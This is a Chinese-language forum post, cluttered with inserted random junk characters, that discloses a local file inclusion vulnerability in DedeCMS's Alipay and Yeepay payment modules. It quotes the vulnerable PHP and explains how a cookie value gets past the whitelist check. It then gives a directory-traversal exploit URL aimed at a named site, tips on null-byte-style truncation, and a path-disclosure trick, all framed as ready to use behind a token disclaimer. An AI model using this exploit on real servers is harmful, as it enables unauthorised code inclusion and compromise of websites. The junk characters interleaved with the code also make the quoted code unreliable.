晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
1 V- R/ F4 e7 H1 I, d* M: S; R& I
出现漏洞的两个文件为:* e: Y7 F6 F$ L& T
Include/payment/alipay.php$ }+ z& Y. {# N0 O
Include/payment/yeepay.php
6 H7 R6 u) s2 ^3 U! J, A漏洞均出现在respond方法里,估计这两个文件是临时工写的。
1 V2 y/ ~2 m( q" X) [
, b8 J% F1 ^' S7 u: ]" ZInclude/payment/alipay.php, ^* r7 X) l% t9 N4 S( O$ V
- @% @6 r4 f: T....../ r- W% y5 P2 c9 l+ \: i0 z8 I& D h
function respond()
1 ?2 ?$ t- s( |3 ~; L3 W* n {% r( }9 G# v/ K# R9 A- `; V; z
if (!empty($_POST))
, P/ U7 `6 `3 }: w {
4 o w! @+ S$ L' U5 f% T# c foreach($_POST as $key => $data)
* o9 [1 ]$ P- o* y. e6 V# g0 q+ a {. Q; a9 U4 Y. R( f* R6 W
$_GET[$key] = $data;
, A7 ?( v& q: w$ L6 b( z3 g }% ?4 Y* S( T, w
}
5 Y, H3 `: i4 a2 r% d' Z: [$ ^ /* 引入配置文件 */0 \, J/ Y; U) {# ^
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( S5 d& M1 g0 s...... ! K5 N e) o7 M6 Y0 z. m* P
% Y- q* ]( X; M" Z7 B3 a I/ m
|- Y( g" M% U: v3 w& r$ m大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。5 P+ `$ U0 v# a, X" e* v$ a
/ j% X, s* e( A' P% gInclude/payment/yeepay.php
2 l* C1 f1 i) _% `3 L+ i4 `
9 D! a4 q5 R3 e3 p 2 B0 g' B0 v+ H
5 _- L" e1 j7 Y5 f `7 [! `! M......
7 U- |3 a- ?2 ~$ m5 M. o function respond()2 F3 n* o. }- V, P. W) _. o2 V3 w
{
3 o, a" h# t8 ?/ x " u2 A8 Q+ g K; o
/* 引入配置文件 */
0 V1 A+ I) f( Y8 g, n* \ require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
# G2 N6 H9 L" e5 d9 ^
, O2 Q& P, U ]9 Q* @) `9 ]/ f, N: B5 H $p1_MerId = trim($payment['yp_account']);( c8 o" x, r( j0 n. r1 H
$merchantKey = trim($payment['yp_key']);
" P( ^4 n/ c. L! j0 F0 Q( o......
+ z$ S. `3 J* p ' R$ C, {% H4 h. ~
- ]2 U( _. b- [5 M% J. k
& t, [0 c0 n0 y, X4 i7 D K; x8 f& m6 W% ]# U
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# h' I$ C, x0 |) j# E3 w3 b1 q$ ]5 l8 ~& y& s3 o
这两个方法在plus/carbuyaction.php文件调用。
! D# e* r; B; w6 b' A/ i) r, P7 V0 N0 d8 v& }
plus/carbuyaction.php
0 s3 M: U5 R3 l6 o0 A* o" F/ x4 `' E: C* N, |: }7 I- I
......
: Z) e' ?* ?! b5 [1 W( k, y5 x} else if ($dopost == 'return') {
5 K- Z) z6 O3 L+ \ $write_list = array('alipay', 'bank', 'cod', 'yeepay');
% p: C, @- j, _! h if (in_array($code, $write_list))( e: C) u3 f: P0 N+ H5 Z
{
0 k* B2 R. ^1 f& @ require_once DEDEINC.'/payment/'.$code.'.php';' L4 f: V% u' A; Y5 G
$pay = new $code;
- `$ x$ z! s2 l6 s7 V: f $msg=$pay->respond();# E- P( q) m* Q5 q. u1 w
ShowMsg($msg, "javascript:;", 0, 3000); O1 N7 A5 T1 _$ u
exit(); 3 L$ f) b' t: S9 O6 X
} else {& Q+ n$ W6 j9 J, `) p% b/ A0 D
exit('Error:File Type Can\'t Recognized!');2 O* ~; W/ `; |- g" T
}
8 F" V1 A* F7 V. [7 h" p}
* E+ t) |% d' ]; _. S......
; b5 F/ X% r+ r& f5 u' x, \3 X
2 ]& Z9 f1 p( o, @- l
( z: n) e2 A! [) Y ( F2 ?4 e0 V g5 `4 T9 W/ ?- T/ g
' @- P- U5 h. ?5 P8 U. n3 e* H
# w- Z+ d6 P$ q J7 i, Z, B! q$ B1 B! Y+ m0 P7 l
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。, {6 O8 R' U \8 F2 O. b# m1 x2 K% |
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
; }8 L4 f) P9 c6 C Z& g
* h+ x" e) V: ?- X. O' P% H回到include/common.inc.php来看看他的机制。
% S; B) m; L; l6 W: J- \; h K/ E O9 z. I# y
; m. I8 i Z) A; K( {( ^/ Q+ B& j
......
6 H/ K3 d6 c( Iforeach(Array('_GET','_POST','_COOKIE') as $_request). n% O1 ]. K( ~
{ @; U2 J3 {. Y+ J+ W
foreach($$_request as $_k => $_v)
4 k* |6 r J+ O, q {8 t! n: h4 o$ Y: p' _" ?
if($_k == 'nvarname') ${$_k} = $_v;% L% `+ S/ ]* D% {
else ${$_k} = _RunMagicQuotes($_v);* F* x; t0 P) x* [
}+ q" k) O% D3 {: M
}# l/ j# ^# m* B& D/ R8 d7 j6 c
...... # s4 i& T. Q& ]! Y: K0 A9 W/ \
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:& u, }* b+ |" P- s# T# N; J
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |